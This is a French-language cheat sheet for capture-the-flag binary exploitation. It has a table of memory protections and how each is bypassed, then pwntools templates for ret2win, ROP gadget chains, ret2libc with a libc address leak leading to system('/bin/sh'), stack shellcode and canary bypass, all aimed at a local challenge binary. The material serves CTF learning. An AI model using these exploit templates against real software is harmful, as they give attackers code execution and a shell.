#Reconnaître les protections
checksec --file=./chall
| Protection | Effet | Contournement |
|---|---|---|
| NX | Stack non exécutable | ROP / ret2libc |
| PIE | Adresses randomisées | Fuite d'adresse |
| Canary | Détecte l'écrasement | Fuite / bruteforce |
| RELRO full | GOT en lecture seule | Écrire ailleurs |
| ASLR | Base libc aléatoire | Fuite libc |
#32 bits : ret2win
from pwn import *
context.binary = elf = ELF('./chall')
io = process(elf.path)
offset = 44
payload = b'A' * offset
payload += p32(elf.symbols['win'])
io.sendline(payload)
io.interactive()
# Trouver l'offset avec un motif
python3 -c 'from pwn import *; print(cyclic(200))'
# Dans gdb après crash : cyclic -l 0x6161616c
#64 bits : gadget + win
from pwn import *
context.binary = elf = ELF('./chall')
rop = ROP(elf)
offset = 40
# Sur x86_64, l'argument doit passer par RDI
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
ret = rop.find_gadget(['ret']).address # alignement de la stack
payload = flat({
offset: [ret, pop_rdi, 0x0, elf.symbols['win']]
})
#ret2libc
from pwn import *
context.binary = elf = ELF('./chall')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# 1. Fuite de puts@GOT
rop.puts(elf.got['puts'])
rop.main()
io.sendline(flat({offset: rop.chain()}))
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['puts']
log.success(f'libc base: {hex(libc.address)}')
# 2. Appel system("/bin/sh")
rop2 = ROP(libc)
rop2.system(next(libc.search(b'/bin/sh\x00')))
io.sendline(flat({offset: rop2.chain()}))
io.interactive()
#Shellcode sur la stack
from pwn import *
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
buffer = 0x7fffffffe000 # adresse leakée
payload = flat({
0: shellcode,
offset: p64(buffer)
})
Nécessite NX désactivé (-z execstack).
#Canary
# Fuite du canary via un format string ou une lecture hors bornes
canary = u64(io.recv(8)) - 0x0a
payload = b'A' * offset
payload += p64(canary)
payload += b'B' * 8
payload += p64(elf.symbols['win'])